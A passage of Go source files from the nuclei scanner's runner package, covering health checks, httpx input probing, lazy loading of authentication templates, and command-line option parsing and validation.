AuthWithPDCP() {\n\tshowBanner()\n\tpdcpauth.CheckNValidateCredentials(config.BinaryName)\n}\n"
  },
  {
    "path": "internal/runner/healthcheck.go",
    "content": "package runner\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\n// DoHealthCheck performs self-diagnostic checks\nfunc DoHealthCheck(options *types.Options) string {\n\t// RW permissions on config file\n\tvar test strings.Builder\n\tfmt.Fprintf(&test, \"Version: %s\\n\", config.Version)\n\tfmt.Fprintf(&test, \"Operating System: %s\\n\", runtime.GOOS)\n\tfmt.Fprintf(&test, \"Architecture: %s\\n\", runtime.GOARCH)\n\tfmt.Fprintf(&test, \"Go Version: %s\\n\", runtime.Version())\n\tfmt.Fprintf(&test, \"Compiler: %s\\n\", runtime.Compiler)\n\n\tvar testResult string\n\tcfg := config.DefaultConfig\n\tfor _, filename := range []string{cfg.GetFlagsConfigFilePath(), cfg.GetIgnoreFilePath(), cfg.GetChecksumFilePath()} {\n\t\tok, err := fileutil.IsReadable(filename)\n\t\tif ok {\n\t\t\ttestResult = \"Ok\"\n\t\t} else {\n\t\t\ttestResult = \"Ko\"\n\t\t}\n\t\tif err != nil {\n\t\t\ttestResult += fmt.Sprintf(\" (%s)\", err)\n\t\t}\n\t\tfmt.Fprintf(&test, \"File \\\"%s\\\" Read => %s\\n\", filename, testResult)\n\t\tok, err = fileutil.IsWriteable(filename)\n\t\tif ok {\n\t\t\ttestResult = \"Ok\"\n\t\t} else {\n\t\t\ttestResult = \"Ko\"\n\t\t}\n\t\tif err != nil {\n\t\t\ttestResult += fmt.Sprintf(\" (%s)\", err)\n\t\t}\n\t\tfmt.Fprintf(&test, \"File \\\"%s\\\" Write => %s\\n\", filename, testResult)\n\t}\n\tc4, err := net.Dial(\"tcp4\", \"scanme.sh:80\")\n\tif err == nil && c4 != nil {\n\t\t_ = c4.Close()\n\t}\n\ttestResult = \"Ok\"\n\tif err != nil {\n\t\ttestResult = fmt.Sprintf(\"Ko (%s)\", err)\n\t}\n\tfmt.Fprintf(&test, \"IPv4 connectivity to scanme.sh:80 => %s\\n\", testResult)\n\tc6, err := net.Dial(\"tcp6\", \"scanme.sh:80\")\n\tif err == nil && c6 != nil {\n\t\t_ = c6.Close()\n\t}\n\ttestResult = \"Ok\"\n\tif err != nil {\n\t\ttestResult = fmt.Sprintf(\"Ko (%s)\", err)\n\t}\n\tfmt.Fprintf(&test, \"IPv6 connectivity to scanme.sh:80 => %s\\n\", testResult)\n\tu4, err := net.Dial(\"udp4\", \"scanme.sh:53\")\n\tif err == nil && u4 != nil {\n\t\t_ = u4.Close()\n\t}\n\ttestResult = \"Ok\"\n\tif err != nil {\n\t\ttestResult = fmt.Sprintf(\"Ko (%s)\", err)\n\t}\n\tfmt.Fprintf(&test, \"IPv4 UDP connectivity to scanme.sh:53 => %s\\n\", testResult)\n\n\treturn test.String()\n}\n"
  },
  {
    "path": "internal/runner/inputs.go",
    "content": "package runner\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/hmap/store/hybrid\"\n\t\"github.com/projectdiscovery/httpx/common/httpx\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n)\n\n// initializeTemplatesHTTPInput initializes the http form of input\n// for any loaded http templates if input is in non-standard format.\nfunc (r *Runner) initializeTemplatesHTTPInput() (*hybrid.HybridMap, error) {\n\thm, err := hybrid.New(hybrid.DefaultDiskOptions)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create temporary input file\")\n\t}\n\tif r.inputProvider.InputType() == provider.MultiFormatInputProvider {\n\t\t// currently http probing for input mode types is not supported\n\t\treturn hm, nil\n\t}\n\tr.Logger.Info().Msgf(\"Running httpx on input host\")\n\n\thttpxOptions := httpx.DefaultOptions\n\tif r.options.AliveHttpProxy != \"\" {\n\t\thttpxOptions.Proxy = r.options.AliveHttpProxy\n\t} else if r.options.AliveSocksProxy != \"\" {\n\t\thttpxOptions.Proxy = r.options.AliveSocksProxy\n\t}\n\thttpxOptions.RetryMax = r.options.Retries\n\thttpxOptions.Timeout = time.Duration(r.options.Timeout) * time.Second\n\n\tdialers := protocolstate.GetDialersWithId(r.options.ExecutionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", r.options.ExecutionId)\n\t}\n\n\thttpxOptions.NetworkPolicy = dialers.NetworkPolicy\n\thttpxClient, err := httpx.New(&httpxOptions)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create httpx client\")\n\t}\n\n\t// Probe the non-standard URLs and store them in cache\n\tswg, err := syncutil.New(syncutil.WithSize(r.options.BulkSize))\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not create adaptive group\")\n\t}\n\tvar count atomic.Int32\n\tr.inputProvider.Iterate(func(value *contextargs.MetaInput) bool {\n\t\tif stringsutil.HasPrefixAny(value.Input, \"http://\", \"https://\") {\n\t\t\treturn true\n\t\t}\n\n\t\tif r.options.ProbeConcurrency > 0 && swg.Size != r.options.ProbeConcurrency {\n\t\t\tif err := swg.Resize(context.Background(), r.options.ProbeConcurrency); err != nil {\n\t\t\t\tr.Logger.Error().Msgf(\"Could not resize workpool: %s\\n\", err)\n\t\t\t}\n\t\t}\n\n\t\tswg.Add()\n\t\tgo func(input *contextargs.MetaInput) {\n\t\t\tdefer swg.Done()\n\n\t\t\tif result := utils.ProbeURL(input.Input, httpxClient); result != \"\" {\n\t\t\t\tcount.Add(1)\n\t\t\t\t_ = hm.Set(input.Input, []byte(result))\n\t\t\t}\n\t\t}(value)\n\t\treturn true\n\t})\n\tswg.Wait()\n\n\tr.Logger.Info().Msgf(\"Found %d URL from httpx\", count.Load())\n\treturn hm, nil\n}\n"
  },
  {
    "path": "internal/runner/lazy.go",
    "content": "package runner\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/env\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\ntype AuthLazyFetchOptions struct {\n\tTemplateStore *loader.Store\n\tExecOpts      *protocols.ExecutorOptions\n\tOnError       func(error)\n}\n\n// GetAuthTmplStore create new loader for loading auth templates\nfunc GetAuthTmplStore(opts *types.Options, catalog catalog.Catalog, execOpts *protocols.ExecutorOptions) (*loader.Store, error) {\n\ttmpls := []string{}\n\tfor _, file := range opts.SecretsFile {\n\t\tdata, err := authx.GetTemplatePathsFromSecretFile(file)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrap(err, \"failed to get template paths from secrets file\")\n\t\t}\n\t\ttmpls = append(tmpls, data...)\n\t}\n\topts.Templates = tmpls\n\topts.Workflows = nil\n\topts.RemoteTemplateDomainList = nil\n\topts.TemplateURLs = nil\n\topts.WorkflowURLs = nil\n\topts.ExcludedTemplates = nil\n\topts.Tags = nil\n\topts.ExcludeTags = nil\n\topts.IncludeTemplates = nil\n\topts.Authors = nil\n\topts.Severities = nil\n\topts.ExcludeSeverities = nil\n\topts.IncludeTags = nil\n\topts.IncludeIds = nil\n\topts.ExcludeIds = nil\n\topts.Protocols = nil\n\topts.ExcludeProtocols = nil\n\topts.IncludeConditions = nil\n\tcfg := loader.NewConfig(opts, catalog, execOpts)\n\tcfg.StoreId = loader.AuthStoreId\n\tstore, err := loader.New(cfg)\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to initialize dynamic auth templates store\")\n\t}\n\treturn store, nil\n}\n\n// GetLazyAuthFetchCallback returns a lazy fetch callback for auth secrets\nfunc GetLazyAuthFetchCallback(opts *AuthLazyFetchOptions) authx.LazyFetchSecret {\n\treturn func(d *authx.Dynamic) error {\n\t\ttmpls, err := opts.TemplateStore.LoadTemplates([]string{d.TemplatePath})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to load templates: %w\", err)\n\t\t}\n\t\tif len(tmpls) == 0 {\n\t\t\treturn fmt.Errorf(\"%w for path: %s\", disk.ErrNoTemplatesFound, d.TemplatePath)\n\t\t}\n\t\tif len(tmpls) > 1 {\n\t\t\treturn fmt.Errorf(\"multiple templates found for path: %s\", d.TemplatePath)\n\t\t}\n\t\tdata := map[string]interface{}{}\n\t\ttmpl := tmpls[0]\n\t\t// add args to tmpl here\n\t\tvars := map[string]interface{}{}\n\t\tmainCtx := context.Background()\n\t\tctx := scan.NewScanContext(mainCtx, contextargs.NewWithInput(mainCtx, d.Input))\n\n\t\tcliVars := map[string]interface{}{}\n\t\tif opts.ExecOpts.Options != nil {\n\t\t\t// gets variables passed from cli -v and -env-vars\n\t\t\tcliVars = generators.BuildPayloadFromOptions(opts.ExecOpts.Options)\n\t\t}\n\n\t\tfor _, v := range d.Variables {\n\t\t\t//  Check if the template has any env variables and expand them\n\t\t\tif strings.HasPrefix(v.Value, \"$\") {\n\t\t\t\tenv.ExpandWithEnv(&v.Value)\n\t\t\t}\n\t\t\tif strings.Contains(v.Value, \"{{\") {\n\t\t\t\t// if variables had value like {{username}}, then replace it with the value from cliVars\n\t\t\t\t// variables:\n\t\t\t\t//     - key: username\n\t\t\t\t//       value: {{username}}\n\t\t\t\tv.Value = replacer.Replace(v.Value, cliVars)\n\t\t\t}\n\t\t\tvars[v.Key] = v.Value\n\t\t\tctx.Input.Add(v.Key, v.Value)\n\t\t}\n\n\t\tvar finalErr error\n\t\tctx.OnResult = func(e *output.InternalWrappedEvent) {\n\t\t\tif e == nil {\n\t\t\t\tfinalErr = fmt.Errorf(\"no result found for template: %s\", d.TemplatePath)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !e.HasOperatorResult() {\n\t\t\t\tfinalErr = fmt.Errorf(\"no result found for template: %s\", d.TemplatePath)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// dynamic values\n\t\t\tfor k, v := range e.OperatorsResult.DynamicValues {\n\t\t\t\t// Iterate through all the values and choose the\n\t\t\t\t// largest value as the extracted value\n\t\t\t\tfor _, value := range v {\n\t\t\t\t\toldVal, ok := data[k]\n\t\t\t\t\tif !ok || len(value) > len(oldVal.(string)) {\n\t\t\t\t\t\tdata[k] = value\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// named extractors\n\t\t\tfor k, v := range e.OperatorsResult.Extracts {\n\t\t\t\tif len(v) > 0 {\n\t\t\t\t\tdata[k] = v[0]\n\t\t\t\t}\n\t\t\t}\n\t\t\tif len(data) == 0 {\n\t\t\t\tif e.OperatorsResult.Matched {\n\t\t\t\t\tfinalErr = fmt.Errorf(\"match found but no (dynamic/extracted) values found for template: %s\", d.TemplatePath)\n\t\t\t\t} else {\n\t\t\t\t\tfinalErr = fmt.Errorf(\"no match or (dynamic/extracted) values found for template: %s\", d.TemplatePath)\n\t\t\t\t}\n\t\t\t}\n\t\t\t// log result of template in result file/screen\n\t\t\t_ = writer.WriteResult(e, opts.ExecOpts.Output, opts.ExecOpts.Progress, opts.ExecOpts.IssuesClient)\n\t\t}\n\t\t_, execErr := tmpl.Executer.ExecuteWithResults(ctx)\n\t\tif execErr != nil {\n\t\t\tfinalErr = execErr\n\t\t}\n\t\t// store extracted result in auth context\n\t\td.Extracted = data\n\t\tif finalErr != nil && opts.OnError != nil {\n\t\t\topts.OnError(finalErr)\n\t\t}\n\t\treturn finalErr\n\t}\n}\n"
  },
  {
    "path": "internal/runner/options.go",
    "content": "package runner\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/go-playground/validator/v10\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/gologger/formatter\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/pdf\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/yaml\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\t\"github.com/projectdiscovery/utils/generic\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nconst (\n\t// Default directory used to save protocols traffic\n\tDefaultDumpTrafficOutputFolder = \"output\"\n)\n\nvar validateOptions = validator.New()\n\nfunc ConfigureOptions() error {\n\t// with FileStringSliceOptions, FileNormalizedStringSliceOptions, FileCommaSeparatedStringSliceOptions\n\t// if file has the extension `.yaml` or `.json` we consider those as strings and not files to be read\n\tisFromFileFunc := func(s string) bool {\n\t\treturn !config.IsTemplate(s)\n\t}\n\tgoflags.FileNormalizedStringSliceOptions.IsFromFile = isFromFileFunc\n\tgoflags.FileStringSliceOptions.IsFromFile = isFromFileFunc\n\tgoflags.FileCommaSeparatedStringSliceOptions.IsFromFile = isFromFileFunc\n\treturn nil\n}\n\n// ParseOptions parses the command line flags provided by a user\nfunc ParseOptions(options *types.Options) {\n\t// Check if stdin pipe was given\n\toptions.Stdin = !options.DisableStdin && fileutil.HasStdin()\n\n\t// Read the inputs from env variables that not passed by flag.\n\treadEnvInputVars(options)\n\n\t// Read the inputs and configure the logging\n\tconfigureOutput(options)\n\n\t// Show the user the banner\n\tshowBanner()\n\n\tif options.ShowVarDump {\n\t\tvardump.EnableVarDump = true\n\t\tvardump.Limit = options.VarDumpLimit\n\t}\n\tif options.ShowActions {\n\t\toptions.Logger.Info().Msgf(\"Showing available headless actions: \")\n\t\tfor action := range engine.ActionStringToAction {\n\t\t\toptions.Logger.Print().Msgf(\"\\t%s\", action)\n\t\t}\n\t\tos.Exit(0)\n\t}\n\n\tdefaultProfilesPath := filepath.Join(config.DefaultConfig.GetTemplateDir(), \"profiles\")\n\tif options.ListTemplateProfiles {\n\t\toptions.Logger.Print().Msgf(\n\t\t\t\"Listing available %v nuclei template profiles for %v\",\n\t\t\tconfig.DefaultConfig.TemplateVersion,\n\t\t\tconfig.DefaultConfig.TemplatesDirectory,\n\t\t)\n\t\ttemplatesRootDir := config.DefaultConfig.GetTemplateDir()\n\t\terr := filepath.WalkDir(defaultProfilesPath, func(iterItem string, d fs.DirEntry, err error) error {\n\t\t\text := filepath.Ext(iterItem)\n\t\t\tisYaml := ext == extensions.YAML || ext == extensions.YML\n\t\t\tif err != nil || d.IsDir() || !isYaml {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif profileRelPath, err := filepath.Rel(templatesRootDir, iterItem); err == nil {\n\t\t\t\toptions.Logger.Print().Msgf(\"%s (%s)\\n\", profileRelPath, strings.TrimSuffix(filepath.Base(iterItem), ext))\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\toptions.Logger.Error().Msgf(\"%s\\n\", err)\n\t\t}\n\t\tos.Exit(0)\n\t}\n\tif options.StoreResponseDir != DefaultDumpTrafficOutputFolder && !options.StoreResponse {\n\t\toptions.Logger.Debug().Msgf(\"Store response directory specified, enabling \\\"store-resp\\\" flag automatically\\n\")\n\t\toptions.StoreResponse = true\n\t}\n\t// Validate the options passed by the user and if any\n\t// invalid options have been used, exit.\n\tif err := ValidateOptions(options); err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"Program exiting: %s\\n\", err)\n\t}\n\n\t// Load the resolvers if user asked for them\n\tloadResolvers(options)\n\n\terr := protocolinit.Init(options)\n\tif err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"Could not initialize protocols: %s\\n\", err)\n\t}\n\n\t// Set GitHub token in env variable. runner.getGHClientWithToken() reads token from env\n\tif options.GitHubToken != \"\" && os.Getenv(\"GITHUB_TOKEN\") != options.GitHubToken {\n\t\t_ = os.Setenv(\"GITHUB_TOKEN\", options.GitHubToken)\n\t}\n\n\tif options.UncoverQuery != nil {\n\t\toptions.Uncover = true\n\t\tif len(options.UncoverEngine) == 0 {\n\t\t\toptions.UncoverEngine = append(options.UncoverEngine, \"shodan\")\n\t\t}\n\t}\n\n\tif options.OfflineHTTP {\n\t\toptions.DisableHTTPProbe = true\n\t}\n}\n\n// validateOptions validates the configuration options passed\nfunc ValidateOptions(options *types.Options) error {\n\tif err := validateOptions.Struct(options); err != nil {\n\t\tif _, ok := err.(*validator.InvalidValidationError); ok {\n\t\t\treturn err\n\t\t}\n\t\terrs := []string{}\n\t\tfor _, err := range err.(validator.ValidationErrors) {\n\t\t\terrs = append(errs, err.Namespace()+\": \"+err.Tag())\n\t\t}\n\t\treturn errors.Wrap(errors.New(strings.Join(errs, \", \")), \"validation failed for these fields\")\n\t}\n\tif options.Verbose && options.Silent {\n\t\treturn errors.New(\"both verbose and silent mode specified\")\n\t}\n\n\tif (options.HeadlessOptionalArguments != nil || options.ShowBrowser || options.UseInstalledChrome) && !options.Headless {\n\t\treturn errors.New(\"headless mode (-headless) is required if -ho, -sb, -sc or -lha are set\")\n\t}\n\n\tif options.FollowHostRedirects && options.FollowRedirects {\n\t\treturn errors.New(\"both follow host redirects and follow redirects specified\")\n\t}\n\tif options.ShouldFollowHTTPRedirects() && options.DisableRedirects {\n\t\treturn errors.New(\"both follow redirects and disable redirects specified\")\n\t}\n\t// loading the proxy server list from file or cli and test the connectivity\n\tif err := loadProxyServers(options); err != nil {\n\t\treturn err\n\t}\n\tif options.Validate {\n\t\tvalidateTemplatePaths(options.Logger, config.DefaultConfig.TemplatesDirectory, options.Templates, options.Workflows)\n\t}\n\tif options.DAST {\n\t\tif err := validateDASTOptions(options); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Verify if any of the client certificate options were set since it requires all three to work properly\n\tif options.HasClientCertificates() {\n\t\tif generic.EqualsAny(\"\", options.ClientCertFile, options.ClientKeyFile, options.ClientCAFile) {\n\t\t\treturn errors.New(\"if a client certification option is provided, then all three must be provided\")\n\t\t}\n\t\tvalidateCertificatePaths(options.Logger, options.ClientCertFile, options.ClientKeyFile, options.ClientCAFile)\n\t}\n\t// Verify AWS secrets are passed if a S3 template bucket is passed\n\tif options.AwsBucketName != \"\" && options.UpdateTemplates && !options.AwsTemplateDisableDownload {\n\t\tmissing := validateMissingS3Options(options)\n\t\tif missing != nil {\n\t\t\treturn fmt.Errorf(\"aws s3 bucket details are missing. Please provide %s\", strings.Join(missing, \",\"))\n\t\t}\n\t}\n\n\t// Verify Azure connection configuration is passed if the Azure template bucket is passed\n\tif options.AzureContainerName != \"\" && options.UpdateTemplates && !options.AzureTemplateDisableDownload {\n\t\tmissing := validateMissingAzureOptions(options)\n\t\tif missing != nil {\n\t\t\treturn fmt.Errorf(\"azure connection details are missing. Please provide %s\", strings.Join(missing, \",\"))\n\t\t}\n\t}\n\n\t// Verify that all GitLab options are provided if the GitLab server or token is provided\n\tif len(options.GitLabTemplateRepositoryIDs) != 0 && options.UpdateTemplates && !options.GitLabTemplateDisableDownload {\n\t\tmissing := validateMissingGitLabOptions(options)\n\t\tif missing != nil {\n\t\t\treturn fmt.Errorf(\"gitlab server details are missing. Please provide %s\", strings.Join(missing, \",\"))\n\t\t}\n\t}\n\n\t// verify that a valid ip version type was selected (4, 6)\n\tif len(options.IPVersion) == 0 {\n\t\t// add ipv4 as default\n\t\toptions.IPVersion = append(options.IPVersion, \"4\")\n\t}\n\tvar useIPV4, useIPV6 bool\n\tfor _, ipv := range options.IPVersion {\n\t\tswitch ipv {\n\t\tcase \"4\":\n\t\t\tuseIPV4 = true\n\t\tcase \"6\":\n\t\t\tuseIPV6 = true\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unsupported ip version: %s\", ipv)\n\t\t}\n\t}\n\tif !useIPV4 && !useIPV6 {\n\t\treturn errors.New(\"ipv4 and/or ipv6 must be selected\")\n\t}\n\treturn nil\n}\n\nfunc validateMissingS3Options(options *types.Options) []string {\n\tvar missing []string\n\tif options.AwsBucketName == \"\" {\n\t\tmissing = append(missing, \"AWS_TEMPLATE_BUCKET\")\n\t}\n\tif options.AwsProfile == \"\" {\n\t\tvar missingCreds []string\n\t\tif options.AwsAccessKey == \"\" {\n\t\t\tmissingCreds = append(missingCreds, \"AWS_ACCESS_KEY\")\n\t\t}\n\t\tif options.AwsSecretKey == \"\" {\n\t\t\tmissingCreds = append(missingCreds, \"AWS_SECRET_KEY\")\n\t\t}\n\t\tif options.AwsRegion == \"\" {\n\t\t\tmissingCreds = append(missingCreds, \"AWS_REGION\")\n\t\t}\n\n\t\tmissing = append(missing, missingCreds...)\n\n\t\tif len(missingCreds) > 0 {\n\t\t\tmissing = append(missing, \"AWS_PROFILE\")\n\t\t}\n\t}\n\n\treturn missing\n}\n\nfunc validateMissingAzureOptions(options *types.Options) []string {\n\tvar missing []string\n\tif options.AzureTenantID == \"\" {\n\t\tmissing = append(missing, \"AZURE_TENANT_ID\")\n\t}\n\tif options.AzureClientID == \"\" {\n\t\tmissing = append(missing, \"AZURE_CLIENT_ID\")\n\t}\n\tif options.AzureClientSecret == \"\" {\n\t\tmissing = append(missing, \"AZURE_CLIENT_SECRET\")\n\t}\n\tif options.AzureServiceURL == \"\" {\n\t\tmissing = append(missing, \"AZURE_SERVICE_URL\")\n\t}\n\tif options.AzureContainerName == \"\" {\n\t\tmissing = append(missing, \"AZURE_CONTAINER_NAME\")\n\t}\n\treturn missing\n}\n\nfunc validateMissingGitLabOptions(options *types.Options) []string {\n\tvar missing []string\n\tif options.GitLabToken == \"\" {\n\t\tmissing = append(missing, \"GITLAB_TOKEN\")\n\t}\n\tif len(options.GitLabTemplateRepositoryIDs) == 0 {\n\t\tmissing = append(missing, \"GITLAB_REPOSITORY_IDS\")\n\t}\n\n\treturn missing\n}\n\nfunc validateDASTOptions(options *types.Options) error {\n\t// Ensure the DAST server token meets minimum length requirement\n\tif len(options.DASTServerToken) > 0 && len(options.DASTServerToken) < 16 {\n\t\treturn fmt.Errorf(\"DAST server token must be at least 16 characters long\")\n\t}\n\treturn nil\n}\n\nfunc createReportingOptions(options *types.Options) (*reporting.Options, error) {\n\tvar reportingOptions = &reporting.Options{}\n\tif options.ReportingConfig != \"\" {\n\t\tfile, err := os.Open(options.ReportingConfig)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not open reporting config file\")\n\t\t}\n\t\tdefer func() {\n\t\t\t_ = file.Close()\n\t\t}()\n\n\t\tif err := yaml.DecodeAndValidate(file, reportingOptions); err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse reporting config file\")\n\t\t}\n\t\tWalk(reportingOptions, expandEndVars)\n\t}\n\tif options.MarkdownExportDirectory != \"\" {\n\t\treportingOptions.MarkdownExporter = &markdown.Options{\n\t\t\tDirectory: options.MarkdownExportDirectory,\n\t\t\tOmitRaw:   options.OmitRawRequests,\n\t\t\tSortMode:  options.MarkdownExportSortMode,\n\t\t}\n\t}\n\tif options.SarifExport != \"\" {\n\t\treportingOptions.SarifExporter = &sarif.Options{File: options.SarifExport}\n\t}\n\tif options.JSONExport != \"\" {\n\t\treportingOptions.JSONExporter = &jsonexporter.Options{\n\t\t\tFile:    options.JSONExport,\n\t\t\tOmitRaw: options.OmitRawRequests,\n\t\t}\n\t}\n\t// Combine options.\n\tif options.JSONLExport != \"\" {\n\t\t// Combine the CLI options with the config file options with the CLI options taking precedence\n\t\tif reportingOptions.JSONLExporter != nil {\n\t\t\treportingOptions.JSONLExporter.File = options.JSONLExport\n\t\t\treportingOptions.JSONLExporter.OmitRaw = options.OmitRawRequests\n\t\t} else {\n\t\t\treportingOptions.JSONLExporter = &jsonl.Options{\n\t\t\t\tFile:    options.JSONLExport,\n\t\t\t\tOmitRaw: options.OmitRawRequests,\n\t\t\t}\n\t\t}\n\t}\n\tif options.PDFExport != \"\" {\n\t\tif reportingOptions.PDFExporter != nil {\n\t\t\treportingOptions.PDFExporter.File = options.PDFExport\n\t\t\treportingOptions.PDFExporter.OmitRaw = options.OmitRawRequests\n\t\t} else {\n\t\t\treportingOptions.PDFExporter = &pdf.Options{\n\t\t\t\tFile:    options.PDFExport,\n\t\t\t\tOmitRaw: options.OmitRawRequests,\n\t\t\t}\n\t\t}\n\t}\n\n\treportingOptions.OmitRaw = options.OmitRawRequests\n\treportingOptions.ExecutionId = options.ExecutionId\n\treturn reportingOptions, nil\n}\n\n// configureOutput configures the output logging levels to be displayed on the screen\nfunc configureOutput(options *types.Options) {\n\tif options.NoColor {\n\t\toptions.Logger.SetFormatter(formatter.NewCLI(true))\n\t}\n\t// If the user desires verbose output, show verbose output\n\tif options.Debug || options.DebugRequests || options.DebugResponse {\n\t\toptions.Logger.SetMaxLevel(levels.LevelDebug)\n\t}\n\t// Debug takes precedence before verbose\n\t// because debug is a lower logging level.\n\tif options.Verbose || options.Validate {\n\t\toptions.Logger.SetMaxLevel(levels.LevelVerbose)\n\t}\n\tif options.NoColor {\n\t\toptions.Logger.SetFormatter(formatter.NewCLI(true))\n\t}\n\tif options.Silent {\n\t\toptions.Logger.SetMaxLevel(levels.LevelSilent)\n\t}\n\n\t// disable standard logger (ref: https://github.com/golang/go/issues/19895)\n\t// logutil.DisableDefaultLogger()\n}\n\n// loadResolvers loads resolvers from both user-provided flags and file\nfunc loadResolvers(options *types.Options) {\n\tif options.ResolversFile == \"\" {\n\t\treturn\n\t}\n\n\tfile, err := os.Open(options.ResolversFile)\n\tif err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"Could not open resolvers file: %s\\n\", err)\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tpart := scanner.Text()\n\t\tif part == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif strings.Contains(part, \":\") {\n\t\t\toptions.InternalResolversList = append(options.InternalResolversList, part)\n\t\t} else {\n\t\t\toptions.InternalResolversList = append(options.InternalResolversList, part+\":53\")\n\t\t}\n\t}\n}\n\nfunc validateTemplatePaths(logger *gologger.Logger, templatesDirectory string, templatePaths, workflowPaths []string) {\n\tallGivenTemplatePaths := append(templatePaths, workflowPaths...)\n\tfor _, templatePath := range allGivenTemplatePaths {\n\t\tif templatesDirectory != templatePath && filepath.IsAbs(templatePath) {\n\t\t\tfileInfo, err := os.Stat(templatePath)\n\t\t\tif err == nil && fileInfo.IsDir() {\n\t\t\t\trelativizedPath, err2 := filepath.Rel(templatesDirectory, templatePath)\n\t\t\t\tif err2 != nil || (len(relativizedPath) >= 2 && relativizedPath[:2] == \"..\") {\n\t\t\t\t\tlogger.Warning().Msgf(\"The given path (%s) is outside the default template directory path (%s)! \"+\n\t\t\t\t\t\t\"Referenced sub-templates with relative paths in workflows will be resolved against the default template directory.\", templatePath, templatesDirectory)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc validateCertificatePaths(logger *gologger.Logger, certificatePaths ...string) {\n\tfor _, certificatePath := range certificatePaths {\n\t\tif !fileutil.FileExists(certificatePath) {\n\t\t\t// The provided path to the PEM certificate does not exist for the client authentication. As this is\n\t\t\t// required for successful authentication, log and return an error\n\t\t\tlogger.Fatal().Msgf(\"The given path (%s) to the certificate does not exist!\", certificatePath)\n\t\t\tbreak\n\t\t}\n\t}\n}\n\n// Read the input from env and set options\nfunc readEnvInputVars(options *types.Options) {\n\toptions.GitHubToken = os.Getenv(\"GITHUB_TOKEN\")\n\trepolist := 